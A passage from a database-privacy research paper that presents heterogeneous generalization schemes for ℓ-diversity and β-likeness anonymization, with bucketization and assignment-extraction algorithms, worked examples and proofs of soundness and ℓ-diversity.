for original record 𝑟𝑖 , to the one standing for recast record 𝑟 ′𝑗
indicates that the𝑄𝐼 values of 𝑟𝑖 are included in (match) those
of 𝑟 ′

𝑗
. In the unified view, a single vertex represents both the

original record 𝑟𝑖 and its recast form 𝑟 ′𝑖 .
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Figure 1: Generalization types in graph view

Figure 1(a) shows an example homogeneous generaliza-
tion graph [21, 38, 48]; in the bipartite view it forms two
disconnected complete subgraphs of four vertices in each side
(i.e., two 𝐾4,4 bicliques); the 𝑄𝐼 values of a tuple on the left
side are generalized to those of all its matches on the right
side. In the unified view, these subgraphs appear as complete
digraphs with self-loops. Contrariwise, heterogeneous gener-
alization [16] abandons homogeneity; it generalizes records
heterogeneously, as Figure 1(b) illustrates; thereby, it enhances
utility because it allows for more flexibility in generalization,
while retaining the same privacy guarantee [16].

Table 1: Example of heterogeneous generalization
ID 𝑡0 𝑡1 𝑡2 𝑡3 𝑡4 𝑡5 𝑡6 𝑡7

Age 59 57 39 28 41 37 40 53
Salary 25 27 47 41 20 59 35 34

ID Age Salary Original Matches Anon/zed Matches
𝑡′0 53-59 25-34 𝑡0 𝑡′0, 𝑡

′
1, 𝑡

′
4 𝑡′0 𝑡0, 𝑡1, 𝑡7

𝑡′1 53-59 25-34 𝑡1 𝑡′0, 𝑡
′
1, 𝑡

′
7 𝑡′1 𝑡0, 𝑡1, 𝑡7

𝑡′2 28-39 41-59 𝑡2 𝑡′2, 𝑡
′
5, 𝑡

′
6 𝑡′2 𝑡2, 𝑡3, 𝑡5

𝑡′3 28-41 20-59 𝑡3 𝑡′2, 𝑡
′
3, 𝑡

′
5 𝑡′3 𝑡3, 𝑡4, 𝑡5

𝑡′4 40-59 20-35 𝑡4 𝑡′3, 𝑡
′
4, 𝑡

′
6 𝑡′4 𝑡0, 𝑡4, 𝑡6

𝑡′5 28-39 41-59 𝑡5 𝑡′2, 𝑡
′
3, 𝑡

′
5 𝑡′5 𝑡2, 𝑡3, 𝑡5

𝑡′6 39-41 20-47 𝑡6 𝑡′4, 𝑡
′
6, 𝑡

′
7 𝑡′6 𝑡2, 𝑡4, 𝑡6

𝑡′7 40-57 27-35 𝑡7 𝑡′0, 𝑡
′
1, 𝑡

′
7 𝑡′7 𝑡1, 𝑡6, 𝑡7

Table 1 illustrates a concrete example of heterogenous gen-
eralization. The top table presents the values of eight tuples
on𝑄𝐼 attributes Age and Salary. Heterogeneous generalization
may anonymize these tuples as in the bottom left table; each
tuple is recast to a range of values, so as to be compatible with,
or match, three original tuples, and vice versa, as the bottom
right table shows. Past work [16, 56]; has used heterogeneous

generalization with 𝑘-anonymity [48], which only protects
against re-identification. An attempt to use heterogeneous
generalization to achieve a guarantee on the disclosure of the
values of a sensitive attribute [56] followed a fixed general-
ization motif and abode by ℓ-diversity [43]. Yet ℓ-diversity
allows an arbitrary increase of an adversary’s confidence in
some tuple’s 𝑆𝐴 value (SV) after publication. A robust alter-
native, 𝛽-likeness [11], bounds the growth of an adversary’s
confidence in each tuple’s 𝑆𝐴 value caused by publication, yet
has only been applied with homogeneous generalization.
In this paper, we design heterogeneous generalization

schemes that bound the posterior to prior confidence gain
in sensitive values by 𝛽-likeness [11], hence resist attacks
exploiting data correlations, and also yield high utility; to do
so, we first develop a baseline solution for ℓ-diversity [43].
We use a randomization scheme that resists attacks reverse-
engineering the algorithm [55], following [16, 56, 59]. Our
experiments show that the proposed solutions outperform
previous syntactic anonymization schemes in data utility with
a small runtime overhead that is reducible by data-parallel
execution. Moreover, 𝛽-likeness with heterogeneous general-
ization surpasses a state-of-the-art DP-based solution in terms
of both utility in a practical data analysis task and resistance
to a practical learning-based attack on census data.

2 Background and Related Work
Syntactic anonymization reduces the precision of data, but
not its accuracy: the published, recast data is truthful, albeit
imprecise [10, 38]. The earliest syntactic privacy model, 𝑘-
anonymity [48], requires that each original record 𝑟𝑖 has at
least 𝑘 equally probable matches among recast ones; a match
of 𝑟𝑖 is a record 𝑟 ′𝑗 whose imprecise 𝑄𝐼 values agree with
those of 𝑟𝑖 , hence may be the true representative of 𝑟𝑖 . These
relationships form a bipartite generalization graph [59].
Enhancing Privacy. The 𝑘-anonymitymodel does not prevent
the inference of non-𝑄𝐼 sensitive attribute (𝑆𝐴) values (SVs);
the ℓ-diversity model [21, 43] amends 𝑘-anonymity, postulat-
ing that each record be matched to at least ℓ well-represented
SVs, yet provides insufficient privacy when the SV distribu-
tion among a record’s plausible identities differs substantially
from the global distribution [40]. However, ℓ-diversity treats
all SVs equally, regardless of the adversary’s prior confidence
in them arising from their overall distribution. To fix this
problem, 𝛽-likeness [11] requires that an adversary’s confi-
dence in an SV does not increase, due to the publication of
generalized 𝑄𝐼s, by more than a relative-increase threshold 𝛽,
while preventing confidence bounds exceeding 1.

Abandoning Homogeneity. Early syntactic anonymization
schemes [11, 21, 43, 44] imposed a Procrustean homogeneity
requirement [10], forcing data in groups of identical𝑄𝐼 values.
Later research waived this constraint, first trying a solution
that forfeited equiprobable associations and caused excessive
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information loss [24, 50], then a fixed-motif non-homogeneous
form [56, 59], and eventually fully heterogeneous generaliza-
tion [16], which was applied only with 𝑘-anonymity.
To guarantee equiprobable associations, it is necessary

and sufficient that the generalization graph, as the one in
Figure 1(b), be 𝑘-regular [16], i.e., confers each original record
exactly 𝑘 matches among published ones and vice versa [56].
A 𝑘-regular generalization graph induces several sets of 𝑘
disjoint assignments, each representing a possible one-to-one
correspondence between original and recast records [16, 56].
To resist attacks based on knowledge of the algorithm, we
generate a random set of 𝑘 disjoint assignments and choose
one of those uniformly at random [16, 56, 59]. For self-
containment, we reiterate the argument in [56, 59].

Lemma 1. In a digraph 𝐺, where each vertex 𝑣 has equal
indegree and outdegree, 𝑑𝑣 , each edge belongs to a cycle.

Proof. Assume an edge 𝑒 = (𝑢 → 𝑣) does not belong to a
cycle, hence there is no path from 𝑣 to 𝑢. We classify vertices to
which there is a path from 𝑣 into group 𝑋 , with 𝑣 ∈ 𝑋 . Vertices
in 𝑋 have the same total number of incoming and outgoing
edges,

∑
𝑤∈𝑋 𝑑𝑤 . Each outgoing edge from 𝑋 must point to

another vertex in 𝑋 , since there is no path from any vertex
in 𝑋 to 𝑢. As one incoming edge to 𝑋 , namely 𝑒, originates
outside 𝑋 , there are at most

∑
𝑤∈𝑋 𝑑𝑤 − 1 incoming edges

from 𝑋 to 𝑋 , contradicting the pigeonhole principle. □

Lemma 2. In an ℓ-regular directed graph 𝐺, each edge
belongs to a perfect matching.

Proof. Consider any edge 𝑒. By Lemma 1, 𝑒 belongs to
a cycle 𝐶. If 𝐶 contains all vertices of 𝐺, it is a perfect
matching itself. If not, we rewire 𝐺 to 𝐺 ′ as follows: for each
edge 𝑒 = (𝑢→ 𝑣) in 𝐶, we substitute 𝑢 by a new vertex 𝑢/𝑣
inheriting the outgoing edges of 𝑢 and the incoming edges
of 𝑣; edges in𝐶 become self-loops in𝐺 ′. Since𝐺 is ℓ-regular,
𝐺 ′ is ℓ-regular too. We say that all vertices in 𝐶 have been
matched. We select an arbitrary unmatched vertex 𝑤 ∈ 𝐺 ′

and one of its outgoing edges 𝑒′ at random, and repeat the
process to find a cycle𝐶 ′. If𝐶 ′ contains a previously matched
vertex 𝑤′, we update the matches of 𝑤′ according to 𝐶 ′. As
at least one new vertex gets matched in each iteration, the
process leads to a perfect matching. □

Theorem 1. We can generate a set of ℓ disjoint assignments
(i.e., perfect matchings) from an ℓ-regular directed graph 𝐺.

Proof. We pick a node 𝑛𝑖 and an outgoing edge 𝑒 randomly.
By Lemma 2, 𝑒 belongs to an assignment 𝑎. We remove the
edges in 𝑎 from 𝐺, to get graph 𝐺 ′. As each node in 𝐺 ′ has
exactly ℓ−1 incoming/outgoing edges, 𝐺 ′ is (ℓ−1)-regular.
We repeat iteratively to find ℓ disjoint assignments. □

We aim to achieve 𝛽-likeness by heterogeneous general-
ization for the sake of data utility. As a preliminary step, we
examine the ℓ-diversity case, then proceed to 𝛽-likeness. We

assume an attacker having no other prior knowledge apart
from the global SV distribution and any individual 𝑄𝐼 values.
Measuring Utility. Our schemes target a general-purpose
utility measure based on the extent of generalization ranges,
the Global Certainty Penalty (𝐺𝐶𝑃), that has been extensively
used in previous works [4, 5, 6, 7, 11, 12, 16, 21, 25, 26, 27,
28, 29, 32, 39, 41, 46, 53, 54, 56, 58, 63]. For a numerical
attribute 𝐴 𝑗 , the Normalized Certainty Penalty (𝑁𝐶𝑃), for a re-
cast tuple 𝑞′

𝑖
is 𝑁𝐶𝑃 𝑗 (𝑞′𝑖) =

(
𝑢
𝑗

𝑖
− 𝑙

𝑗

𝑖

)/(𝑈 𝑗 − 𝐿 𝑗
),where 𝑢 𝑗

𝑖
(𝑙 𝑗
𝑖
) is the

largest (smallest) value of attribute 𝐴 𝑗 among thematches of 𝑞′𝑖 ,
and𝑈 𝑗 (𝐿 𝑗 ) is the largest (smallest) value in the domain of 𝐴 𝑗 .
If 𝐴 𝑗 is categorical, then 𝑁𝐶𝑃 𝑗 (𝑞′𝑖) =

(
𝑐𝑜𝑢𝑛𝑡 𝑗 (𝑞′

𝑖
) −1

)/( |𝐴 𝑗 | −1
)

for 𝑐𝑜𝑢𝑛𝑡 𝑗 (𝑞′𝑖) distinct values inV(𝑞 𝑗

𝑖
), and |𝐴 𝑗 | the domain

cardinality of 𝐴 𝑗 . The 𝐺𝐶𝑃 of a set of recast tuples𝑄 ′ with 𝑑
attributes is 𝐺𝐶𝑃(𝑄 ′) = ∑

𝑞′
𝑖
∈𝑄′

∑
𝑗 𝑁𝐶𝑃𝑗 (𝑞′

𝑖
)/𝑑 · |𝑄′ |. In Section 5

we also consider an application-oriented utility measure, ac-
curacy in conjunctive count queries. These utility measures
reflect the value imprecision introduced for the sake of privacy.

3 Heterogeneous ℓ-diversity
Consider a dataset D = (𝑄,𝑆) of 𝑛 tuples. 𝑄 = {𝑞1, . . . , 𝑞𝑛},
where 𝑞𝑖 is the 𝑄𝐼 of tuple 𝑖 and 𝑆 = {𝑠1, . . . , 𝑠𝑛}, where 𝑠𝑖 is
the SV of tuple 𝑖. We have to recast D to a sanitized formD ′ =
(𝑄 ′, 𝑆′), recasting the value of each 𝑞𝑖 ∈𝑄 on a𝑄𝐼 attribute 𝐴 𝑗 ,
𝑞𝑖 𝑗 , as a set of valuesV(𝑞𝑖 𝑗 ) = 𝑞′𝑖 𝑗 ∈𝑄 ′ [11, 21, 38, 48], and
each SV 𝑠𝑖 ∈𝑆 by an SV 𝑠′𝑖 ∈𝑆′. We publish the range of values
in 𝑞𝑖 𝑗 for numerical attributes, and the set itself for categorical
attributes. A tuple 𝑞𝑖 and a recast tuple 𝑞𝑘 match each other
when each 𝑞𝑖 𝑗 is included inV(𝑞𝑘 𝑗 ).
Definition 1 (Threat model). We consider an adversary who
knows the overall SV distribution in 𝑆, identical to that in 𝑆′,
and all 𝑄𝐼 values, and aims to infer the SV of any individual.
Definition 2 (ℓ-diversity). A recast data set D ′ = (𝑄 ′, 𝑆′)
satisfies ℓ-diversity wrt D= (𝑄,𝑆) iff each 𝑞𝑖 ∈ 𝑄 matches at
least ℓ records in𝑄 ′, having, to an adversary, equal probability,
at most 1/ℓ, to be the true match of 𝑞𝑖 and different SVs from
each other, yet including the SV of 𝑞𝑖 .
Thus, an adversary knowing all 𝑄𝐼s in 𝑄 can identify the

true match and SV of any 𝑞𝑖 ∈𝑄 with probability at most 1/ℓ.
Definition 3. Given a data set D = (𝑄,𝑆) and its recast
version, D ′= (𝑄 ′, 𝑆′), an assignment from D to D ′ is an one-
to-one mapping such that each 𝑞𝑖 ∈𝑄 is matched to exactly one
𝑞′
𝑗
∈𝑄 ′; their SVs, 𝑠𝑖 ∈𝑆 and 𝑠′

𝑖
∈𝑆′, may or may not coincide.

To achieve ℓ-diversity, i.e., ℓ equiprobable matches for each
tuple, it suffices to use an ℓ-regular generalization graph, ensur-
ing that each record 𝑞𝑖 ∈𝑄 has ℓ distinct matches among the
anonymized ones in 𝑄 ′, each with a unique SV, yet including
the SV of 𝑞 , and each anonymized record 𝑞′

𝑖
∈𝑄 ′ has ℓ distinct

matches among the ones in 𝑄 [16, 56]. Such a graph contains
several sets of ℓ disjoint assignments from 𝑄 to 𝑄 ′. The set
of possible values of each 𝑞′

𝑖
∈𝑄 ′ on an attribute 𝐴 𝑗 ,V(𝑞𝑖 𝑗 ),

is the set of values of its ℓ matches. To assign SVs to records
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in𝑄 ′, we regenerate a set of ℓ disjoint assignments, select one
of them uniformly at random, and use it to carry SVs from tu-
ples inD toD ′; randomness ensures equiprobability [16, 56].
We aim to build an ℓ-regular generalization graph that incurs
low information loss in terms of GCP.
Problem 1. Transform a data set D = (𝑄,𝑆) to a form D ′

that satisfies ℓ-diversity and minimizes 𝐺𝐶𝑃(𝑄 ′).
Table 2: Notations

Symbol Meaning
D dataset (collection of tuples)
𝑛 the number of tuples in D
𝑄𝐼 Set of Quasi-Identifiers
𝑆𝐴 Sensitive Attribute
𝑆𝑉 set of 𝑆𝐴 values

𝑠𝑢𝑝 (𝑠) support of the sensitive value 𝑠 ∈ 𝑆𝑉

B set of buckets
𝐵𝑖 the 𝑖th bucket, 𝐵𝑖 ∈ B

𝑡𝑒𝑚𝑝 set of tuples having the same 𝑆𝐴 value
C set of candidate buckets to place 𝑡𝑒𝑚𝑝 in
𝐴𝑥
𝑡 tuple-to-tuple assignment at step 𝑥 ∈ [0, ℓ ]

𝐺 𝑗 set of matches for the 𝑗𝑡ℎ tuple
GA set of global assignments

For ℓ-diversification to work, the input data should be ℓ-
eligible [21, 43], i.e., the frequency of any SV should be at
most ⌊𝑛/ℓ⌋. As we build our ℓ-regular generalization graph,
if we assign too many low-frequency SVs as matches to one
tuple 𝑞𝑖 , we may run out of available low-frequency matches
to assign to another tuple 𝑞 𝑗 so as to ensure diversity.
For example, consider six tuples with SVs {𝑎, 𝑎, 𝑏, 𝑏, 𝑐, 𝑑}.

As the highest SV frequency is 1/3, the data is 3-eligible [43],
i.e., we can extract 3 assignments such that each tuple gets
3 matches of different SV. We write an assignment as a
permutation of the six SVs. Let the first assignment be a self-
assignment: [𝑎, 𝑎, 𝑏, 𝑏, 𝑐, 𝑑]. Assume the second assignment is
[𝑏, 𝑏, 𝑎, 𝑎, 𝑑, 𝑐]. Given these two assignments,we try to extract
a third, so that each tuple (position) gets an SV different from
the two it already got. Unfortunately, we cannot: each of the
four first tuples can only accept a match with SV 𝑐 or 𝑑, but
there are only two tuples of such SVs. This problem is due to
assigning both low-frequency SVs 𝑐 and 𝑑 to each of the last
two positions in the first two assignments. Thus, we should
avoid using too many low-frequency values as matches for
the same tuple. Such a problem does not arise in case all SVs
have the same frequency, 𝑛/ℓ. In this case, we can group tuples
in ℓ buckets, one for each SV, and assign to each tuple one
match from each bucket. We convert all problem cases to
variants of this case, by creating ℓ buckets even if these do not
perfectly correspond to single SVs; more frequent SVs may
share a bucket with less frequent ones. After bucketization, in
an assignment extraction stage, we assign to each tuple exactly
one match from each bucket. Table 2 lists our notations.

3.1 Bucketization
Without loss2 of generality, we consider that 𝑛 mod ℓ = 0. We
create a set of ℓ buckets, each containing 𝑛/ℓ records as Algo-

2In case 𝑛 is not divisible by ℓ, we insert 𝑜 = ℓ − (𝑛 mod ℓ) dummy
tuples, each with a unique SV.

rithm 1 describes, provided that the ℓ-eligibility condition [43]
holds (Lines 9–12). We first place each set of tuples having
one of the top-ℓ most frequent SVs, 𝑣1, 𝑣2, . . . , 𝑣ℓ , in its own
bucket, 𝐵1, . . . , 𝐵ℓ , respectively (Lines 15–16). We fill up the
rest available bucket space with tuples of less frequent SVs
greedily (Lines 18–30): we obtain the set of tuples temp of
the next most frequent SV 𝑠𝑖 (Line 19), and assign randomly
as many as fit in the most empty bucket �̂� (Lines 22–30), and
move on to the next most-empty bucket; thereby, tuples of
the same SV may be shared among buckets. In Section 5, we
examine an alternative way of filling buckets by information
loss considerations, yet abandon it as it brings negligible util-
ity benefits, while it may incur leakage. Allocating tuples to
buckets takes 𝑂 (𝑛+𝑚 log𝑚) time, for 𝑚 distinct SVs.

ALGORITHM 1: Bucketization for ℓ-diversity
Data: set of tuples D; sensitive attribute SA; ℓ parameter
Result: set of ℓ buckets B = {𝐵1 , 𝐵2 , . . . , 𝐵ℓ }

1 B := ∅;
2 for 𝑖 = 1, . . . , ℓ do
3 𝐵𝑖 := ∅; // Initialization.
4 B := B∪ {𝐵𝑖 };
5 𝑆𝑉 := {𝑠 |𝑠 = 𝑡 [𝑆𝐴], 𝑡 ∈ D}; // Set of all sensitive values
6 for 𝑠 ∈ 𝑆𝑉 do
7 𝑠𝑢𝑝 (𝑠) := | {𝑡 ∈ D : 𝑡 [𝑆𝐴] = 𝑠} |; // Support of sensitive value s
8 // Check ℓ-eligibility:
9 if |𝑆𝑉 | < ℓ then

10 return ∅; // There are less than ℓ sensitive values
11 if max𝑠∈𝑆𝑉 {𝑠𝑢𝑝 (𝑠) } > 𝑛

ℓ
then

12 return ∅; // max SA support is larger than bucket size.
13 bucketSort tuples by SV, quickSort SVs by support;
14 // place tuples of ℓ most frequent SVs in ℓ buckets:
15 for 𝑖 = 1, . . . , ℓ do
16 𝐵𝑖 := {𝑡 ∈ D : 𝑡 [𝑆𝐴] = 𝑠𝑖 };
17 // remaining SA values:
18 for 𝑖 = ℓ +1, . . . , |𝑆𝑉 | do
19 temp := {𝑡 ∈ D : 𝑡 [𝑆𝐴] = 𝑠𝑖 };
20 C := B \ {𝑏 ∈ B : |𝑏 | = 𝑛

ℓ
}; // exclude full buckets

21 while temp ≠ ∅ do
22 �̂� := argmin𝑏∈C { |𝑏 | }; // the most empty bucket
23 C := C \ {�̂�};
24 if |�̂� | + |temp | ≤ 𝑛

ℓ
then

25 //temp fits in the remaining space of �̂�
26 �̂� := �̂� ∪ temp;
27 else
28 while |�̂� | < 𝑛

ℓ
do

29 �̂� := �̂�∪ {𝑡 ∈ temp};
30 temp := temp \ {𝑡 };

31 return B;

3.2 Assignment Extraction
Next, by Algorithm 2, we extract ℓ−1 disjoint assignments
among tuples in our ℓ buckets (plus self-assignments), so that
each tuple gets a match from a different bucket in each round.
As tuples of the same low-frequency SVmay be shared among
buckets, we avoid matching any tuple to more than one tuple
of the same SV. In Section 3.4 we prove this is always possible.
We first match each bucket 𝐵𝑖 to all others (Line 4), and
then expand each bucket-to-bucket match to 𝑛/ℓ tuple-to-tuple
matches. For each pair of matched buckets (𝐵𝑏, 𝐵𝑏′) (Line 2,
Line 6), we generate a local assignment comprising matches
from a tuple in 𝐵𝑏 to one in 𝐵𝑏′ (Lines 9–11). The Match
function (Line 9) seeks tuple-to-tuple matches that incur low
information loss in 𝑁𝐶𝑃, hence 𝐺𝐶𝑃. To solve this informa-
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tion loss minimization subproblem we use either the 𝑂 (𝑛3)
Hungarian algorithm [18, 37, 51], or one of the heuristics
in [16], 𝑂 (𝑛2) Greedy or 𝑂 (𝑛2 log𝑛) SortGreedy). Before
each assignment, we update an 𝑁𝐶𝑃 cost matrix (Line 8) to
reflect the running state of affairs. Eventually, we obtain a
set GA of ℓ disjoint tuple-to-tuple assignments, which deter-
mines generalized 𝑄𝐼 values. To defend against adversaries
who know the algorithm, as in [16, 56, 59], we extract anew a
random set of ℓ disjoint tuple-to-tuple assignments and pick
one of those uniformly at random to allot SVs (Line 12).

ALGORITHM 2: Assignment Extraction
Data: set of ℓ buckets B = {𝐵1 , 𝐵2 , . . . , 𝐵ℓ }
Result: Set of ℓ tuple-to-tuple assignments GA∗

1 GA := ∅;
2 for 𝑏 = 1 to ℓ do
3 for 𝑖 = 0 to 𝑛

ℓ
do

4 𝐺(𝑏·𝑛/ℓ)+𝑖 := {𝐵𝑏 (𝑖) }; // Phase A: bucket-to-bucket assignment
5 GA := GA∪𝐺(𝑏·𝑛/ℓ)+𝑖 ;
6 for 𝑏′ ∈ {𝑏+1, . . . ℓ } ∪ {1, . . . 𝑏−1} and 𝑥 ∈ [2, ℓ ] do
7 for 𝑖 = 0 to 𝑛

ℓ
and 𝑗 = 0 to 𝑛

ℓ
do

8 Cost𝑖, 𝑗 := 𝑁𝐶𝑃 (𝐺(𝑏·𝑛/ℓ)+𝑖 , 𝐵𝑏′ ( 𝑗)) ; // cost matrix
9 𝐴𝑥

𝑡 := Match(Cost, 𝐵𝑏 , 𝐵𝑏′ ); // Phase B: tuple-to-tuple assignment
10 for 𝑖 = 0 to 𝑛

ℓ
do

11 𝐺(𝑏·𝑛/ℓ)+𝑖 :=𝐺(𝑏·𝑛/ℓ)+𝑖 ∪ {𝐵𝑏′ (𝐴𝑥
𝑡 (𝑖)) }; // update

12 GA∗ := Randomize(GA);
13 return GA∗;

3.3 Example
Consider 15 tuples of SVs [𝑎, 𝑎, 𝑎, 𝑏, 𝑏, 𝑏, 𝑐, 𝑐, 𝑐, 𝑑, 𝑑, 𝑒,
𝑒, 𝑓 , 𝑓 ]. As each SV has frequency at most 1/5, the data is
5-eligible. If we try to extract 5 disjoint tuple-to-tuple as-
signments, shown as permutations of SVs (i.e., each match is
shown at the respective position), so that no SV is repeated in
the same position, we may encounter a deadend, i.e., a state
from which we cannot progress. Table 3 shows such a case.

Table 3: Extracted assignments leading to deadend
Assignment 1 a a a b b b c c c d d e e f f
Assignment 2 b b b c c c a a a e e f f d d
Assignment 3 c c c a a a b b b f f d d e e

After extracting these assignments, each of the first nine
tuples shouldmatch to one of the six tuples with low-frequency
SVs, 𝑑, 𝑒, or 𝑓 . As there are only six such tuples, a deadend
emerges. To avoid this, we create five buckets as in Table 4,
and allow a tuple to get only one match from each bucket.
We share tuples of SV 𝑓 among buckets 𝐵4 and 𝐵5, hence all

six lower-frequency SVs are found in those two buckets only.
Thus, each tuple can get at most two of the three low-frequency
SVs, {𝑑, 𝑒, 𝑓 }, as matches in five assignments; the other three
matches of each tuple are reserved for the high-frequency SVs
{𝑎, 𝑏, 𝑐}, resulting in good balance.

Table 4: Five Buckets
Bucket Tuple IDs SVs
𝐵1 1, 2, 3 a a a
𝐵2 4, 5, 6 b b b
𝐵3 7, 8, 9 c c c
𝐵4 10, 11, 14 d d f
𝐵5 12, 13, 15 e e f

Still, for bucket-based assignment extraction to work, we
should ensure that no tuple is matched to both tuples with SV
𝑓 in buckets 𝐵4 and 𝐵5. We work in two phases. In Phase

A, we extract five bucket-to-bucket assignments, shown in
Table 5 via a permutation of the bucket order.

Table 5: Five bucket-to-bucket assignments
B-to-B Assignment 1 𝐵1 𝐵2 𝐵3 𝐵4 𝐵5
B-to-B Assignment 2 𝐵2 𝐵3 𝐵4 𝐵5 𝐵1
B-to-B Assignment 3 𝐵3 𝐵4 𝐵5 𝐵1 𝐵2
B-to-B Assignment 4 𝐵4 𝐵5 𝐵1 𝐵2 𝐵3
B-to-B Assignment 5 𝐵5 𝐵1 𝐵2 𝐵3 𝐵4

In Phase B, we concretize each bucket-to-bucket match to
a collection of tuple-to-tuple matches as in Table 6.

Table 6: Five tuple-to-tuple assignments
T-to-T Assignment 1 a a a b b b c c c d d f f e e
T-to-T Assignment 2 b b b c c c d d f f e e a a a
T-to-T Assignment 3 c c c d d f f e e a a a b b b
T-to-T Assignment 4 d d f f e e a a a b b b c c c
T-to-T Assignment 5 f e e a a a b b b c c c d d f

Each of 15 tuples obtains five different SVs, namely
{𝑎, 𝑏, 𝑐, 𝑑, 𝑒}, {𝑎, 𝑏, 𝑐, 𝑑, 𝑓 }, or {𝑎, 𝑏, 𝑐, 𝑒, 𝑓 }. Comparing Ta-
ble 5 to Table 6, we see how bucket-to-bucket assignments
guide tuple-to-tuple assignments; the position of tuples with
SV 𝑓 in buckets 𝐵4 and 𝐵5 varies to avoid conflicts.

3.4 Proof of Soundness
To lead to a sound result, our algorithm should always find a
local tuple-to-tuple assignment, without ever assigning more
than onematch of the same SV to the same tuple. The following
theorem shows that this is possible.

Theorem 2. In the 𝑡 th round of local assignment extraction,
𝑡 ≤ ℓ, with bucket 𝐵𝑖 matched to a set of buckets M(𝐵𝑖) =
{𝐵′𝑖
1 , . . . , 𝐵

′𝑖
𝑡−1} in the previous 𝑡 −1 rounds, we can extract a

new local tuple-to-tuple assignment between tuples in 𝐵𝑖 and
those in any other bucket 𝐵′

𝑗
matched to 𝐵𝑖 , without assigning

more than one match of the same SV to the same tuple.

Proof. Our bucketization (Section 3.1) groups tuples by SVs
and assigns those of the 𝑖th most frequent SV to the 𝑖th bucket,
𝑖 ≤ ℓ. In general, such buckets have available space to be
filled with tuples of other, less frequent SVs. However, each
bucket 𝐵𝑖 is characterized by the 𝑖th most frequent SV, of which
it holds the most tuples. We call this SV the dominating SV
of 𝐵𝑖 and denote it as 𝑆𝑉𝑖 . A tuple having the dominating SV
is called a dominating tuple in 𝐵𝑖 . Let 𝑠𝑖 denote the number
of dominating tuples in 𝐵𝑖 . Then 𝑏 ≥ 𝑠1 ≥ 𝑠2 ≥ . . . ≥ 𝑠ℓ ,
where 𝑏 = 𝑛/ℓ is the bucket size.
We need to prove that an assignment from 𝐵𝑖 to 𝐵′

𝑗
can

be extracted without using any match (i.e., edge) from a
tuple 𝑟 ∈ 𝐵𝑖 to a tuple 𝑟 ′ ∈ 𝐵′

𝑗
such that 𝑟 has been matched to

the SV of 𝑟 ′ in a previous tuple-to-tuple assignment. We show
that a bipartite graph built of all allowed matches from tuples
in 𝐵𝑖 to those in 𝐵′

𝑗
allows for an assignment to be extracted.

By design, a bucket’s dominating SV appears only in itself.
Thus, each of the 𝑠 𝑗 dominating tuples in 𝐵′

𝑗
has no SV

conflict with any tuple in 𝐵𝑖 , and therefore receives 𝑏 incoming
edges from 𝐵𝑖 . In effect, the 𝑠 𝑗 dominating tuples in 𝐵′

𝑗
have

incoming degree 𝑏. Assume 𝐵′
𝑗
contains non-dominating
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tuples of 𝑝 distinct SVs, 𝑠𝑣1, . . ., 𝑠𝑣𝑝 . Let𝐶𝑞 be the (non-zero)
number of non-dominating tuples with 𝑠𝑣𝑞 in 𝐵′

𝑗
, and 𝐾𝑞 be

the (possibly 0) number of records with 𝑠𝑣𝑞 in the set of
buckets M(𝐵𝑖) that 𝐵𝑖 , and hence some tuple therein, has
already been matched to. Recall that, by construction, SVs of
non-dominating tuples cannot have higher overall frequency
than SVs of dominating tuples, therefore:

𝐶𝑞 +𝐾𝑞 ≤ 𝑠 𝑗 1 ≤ 𝑞 ≤ 𝑝 (1)

By assumption, each of the 𝐾𝑞 tuples with SV 𝑠𝑣𝑞 has been
previously matched to a tuple in 𝐵𝑖; then each of the𝐶𝑞 tuples
with SV 𝑠𝑣𝑞 in 𝐵′

𝑗
may only have 𝑑 = 𝑏−𝐾𝑞 incoming edges.

Then Equation (1) yields:
𝑑𝑟 ≥ 𝑏− 𝑠 𝑗 +𝐶𝑞 > 𝑏− 𝑠 𝑗 1 ≤ 𝑞 ≤ 𝑝 (2)

Still, 𝑏− 𝑠 𝑗 is the number of all non-dominating tuples in 𝐵′
𝑗
.

Each of these has incoming degree larger than their number.
By Hall’s marriage theorem, a bipartite graph 𝐺 = (𝑋 ∪𝑌,𝐸)
has a perfect matching from 𝑋 to 𝑌 iff for every subset𝑊 ⊂ 𝑋 ,
|𝑊 | ≤ |𝑁𝐺 (𝑊) |, where 𝑁𝐺 (𝑊) is the neighborhood of 𝑊 ,
i.e., the set of all vertices in 𝑌 adjacent to a vertex in 𝑊 .
Let 𝐵′

𝑗
be 𝑋 and 𝐵𝑖 be 𝑌 , |𝑋 | = |𝑌 | = 𝑏. A subset𝑊 ⊂ 𝑋 that

contains any of the dominating tuples in 𝑋 has |𝑁𝐺 (𝑊) | =
𝑏 ≥ |𝑊 |; moreover, by the preceding analysis, a subset𝑊 ⊂
𝑋 that contains exclusively non-dominating records in 𝑋
has |𝑁𝐺 (𝑊) | > 𝑏 − 𝑠 𝑗 ≥ |𝑊 |. It follows that the graph of
allowed matches from 𝐵𝑖 to 𝐵′

𝑗
always contains a perfect

matching, i.e., allows for extracting a local assignment. □

3.5 Proof of ℓ-diversity
Our technique inherits the properties of heterogeneous gen-
eralization approaches that achieve 𝑘-anonymity [16, 56, 59]
as well as ℓ-diversity via partition merging [56]. Our data
recasting forms an ℓ-regular generalization graph: each origi-
nal record 𝑟𝑖 has exactly ℓ matches in the published data 𝑅′

and vice versa. Given such an ℓ-regular generalization graph,
we can extract one or more sets of ℓ disjoint assignments via
random walks [56, 59] as Theorem 1 shows.

Theorem 3. Consider a recast data set D ′= (𝑄 ′, 𝑆′), pro-
duced from D= (𝑄,𝑆) by Algorithm 1 for bucketization and
Algorithm 2 for extracting assignments using those buckets,
and an adversary who knows the overall SV distribution in 𝑆,
identical to that in 𝑆′, and all values in 𝑄. D ′ satisfies ℓ-di-
versity, i.e., the adversary observes at least ℓ records in 𝑄 ′

matching each 𝑞𝑖 ∈ 𝑄, having distinct SVs that include the SV
of 𝑞𝑖 , and has equal confidence, at most 1/ℓ, that each of those
be the true match of 𝑞𝑖 .

Proof. To an adversary, each of such ℓ assignments represents
a possible world. We assign SVs to published records accord-
ing to the putative identities indicated by one such assignment,
which we select uniformly at random out of a set of ℓ disjoint
assignments extracted from the ℓ-regular generalization graph
by randomization [56, 59]. This process ensures that each of

an original or published record’s ℓ matches is equally likely
to be chosen; thus, the SV we assign to a published record is
equally likely to originate from any of its ℓ original-record
matches, and, in reverse, the SV of an original record is equally
likely to assigned to any of its ℓ published-record matches. An
adversary considers these ℓ options as equiprobable; running
the same algorithm on the same data yields different results,
thanks to randomization [15]. The same anonymized data
could be generated by ℓ different data instances, each record 𝑟
associated with a different SV in each instance. The adver-
sary cannot decide which instance corresponds to the input,
hence cannot infer the true SV of 𝑟 [57]. This equiprobabil-
ity warrants 𝑘-anonymity in [16, 56, 59], ℓ-diversity in [56],
and ℓ-diversity here: original record’s matches provide a set
